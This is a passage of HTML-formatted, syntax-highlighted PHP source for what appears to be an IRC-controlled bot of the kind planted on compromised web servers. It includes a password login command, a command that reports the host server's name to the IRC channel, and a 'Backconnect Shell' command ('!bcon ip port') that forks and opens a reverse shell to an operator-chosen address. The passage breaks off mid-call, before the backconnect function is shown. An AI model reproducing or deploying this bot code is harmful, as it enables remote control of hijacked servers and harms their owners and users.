style=&quot;color: #606060&quot; id=&quot;lnum120&quot;&gt; 120:&lt;/span&gt;                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;switch&lt;/span&gt;(substr($mcmd[0], 1))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum121&quot;&gt; 121:&lt;/span&gt;                                                                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum122&quot;&gt; 122:&lt;/span&gt;                                                                     &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum123&quot;&gt; 123:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                     * @Description: Login to bot.&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum124&quot;&gt; 124:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                     * @Usage: !login password&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum125&quot;&gt; 125:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                     */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum126&quot;&gt; 126:&lt;/span&gt;                                                                     &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;login&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum127&quot;&gt; 127:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(md5($mcmd[1]) == $this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;password&#39;&lt;/span&gt;])&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum128&quot;&gt; 128:&lt;/span&gt;                                                                             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum129&quot;&gt; 129:&lt;/span&gt;                                                                                 $this-&amp;gt;notice($nick, &lt;span style=&quot;color: #006080&quot;&gt;&quot;Welcome Admin!&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum130&quot;&gt; 130:&lt;/span&gt;                                                                                 $this-&amp;gt;logIn($host);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum131&quot;&gt; 131:&lt;/span&gt;                                                                             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum132&quot;&gt; 132:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum133&quot;&gt; 133:&lt;/span&gt;                                                                             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum134&quot;&gt; 134:&lt;/span&gt;                                                                                 $this-&amp;gt;notice($nick, &lt;span style=&quot;color: #006080&quot;&gt;&quot;Incorrect Password!&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum135&quot;&gt; 135:&lt;/span&gt;                                                                             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum136&quot;&gt; 136:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum137&quot;&gt; 137:&lt;/span&gt;                                                                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum138&quot;&gt; 138:&lt;/span&gt;                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum139&quot;&gt; 139:&lt;/span&gt;                                                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum140&quot;&gt; 140:&lt;/span&gt;                                                 &lt;span style=&quot;color: #0000ff&quot;&gt;elseif&lt;/span&gt;($this-&amp;gt;isLoggedIn($host))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum141&quot;&gt; 141:&lt;/span&gt;                                                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum142&quot;&gt; 142:&lt;/span&gt;                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(substr($mcmd[0], 0, 1) == $this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;cmdprefix&#39;&lt;/span&gt;])&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum143&quot;&gt; 143:&lt;/span&gt;                                                             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum144&quot;&gt; 144:&lt;/span&gt;                                                                 &lt;span style=&quot;color: #0000ff&quot;&gt;switch&lt;/span&gt;(substr($mcmd[0], 1))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum145&quot;&gt; 145:&lt;/span&gt;                                                                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum146&quot;&gt; 146:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;host&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum147&quot;&gt; 147:&lt;/span&gt;                                                                             $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Host: &quot;&lt;/span&gt;.$_SERVER[&lt;span style=&quot;color: #006080&quot;&gt;&#39;HTTP_HOST&#39;&lt;/span&gt;]);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum148&quot;&gt; 148:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum149&quot;&gt; 149:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum150&quot;&gt; 150:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Description: Backconnect Shell&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum151&quot;&gt; 151:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Usage: !bcon ip port&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum152&quot;&gt; 152:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Example: !bcon 127.0.0.1 1337&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum153&quot;&gt; 153:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum154&quot;&gt; 154:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;bcon&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum155&quot;&gt; 155:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(count($mcmd) &amp;gt; 2)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum156&quot;&gt; 156:&lt;/span&gt;                                                                                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum157&quot;&gt; 157:&lt;/span&gt;                                                                                     $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;4Warning: Bot might Ping Time Out soon&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum158&quot;&gt; 158:&lt;/span&gt;                                                                                     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($this-&amp;gt;ableFunc(&lt;span style=&quot;color: #006080&quot;&gt;&#39;pnctl_fork&#39;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum159&quot;&gt; 159:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum160&quot;&gt; 160:&lt;/span&gt;                                                                                             $pid = pnctl_fork();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum161&quot;&gt; 161:&lt;/span&gt;                                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($pid)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum162&quot;&gt; 162:&lt;/span&gt;                                                                                                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum163&quot;&gt; 163:&lt;/span&gt;                                                                                                     $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;pcntl_fork is supported! Forked!&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum164&quot;&gt; 164:&lt;/span&gt;                                                                                                     $this-&amp;gt;backconnect($nick, $mcmd[1], $mcmd[2]);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum165&quot;&gt; 165:&lt;/span&gt;                                                                                                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum166&quot;&gt; 166:&lt;/span&gt;                                                                                                 &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum167&quot;&gt; 167:&lt;/span&gt;                                                                                                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum168&quot;&gt; 168:&lt;/span&gt;                                                                                                     $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Unable to fork! Using normal way!&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum169&quot;&gt; 169:&lt;/span&gt;                                                                                                     $this-&amp;gt;backconnect($nick, 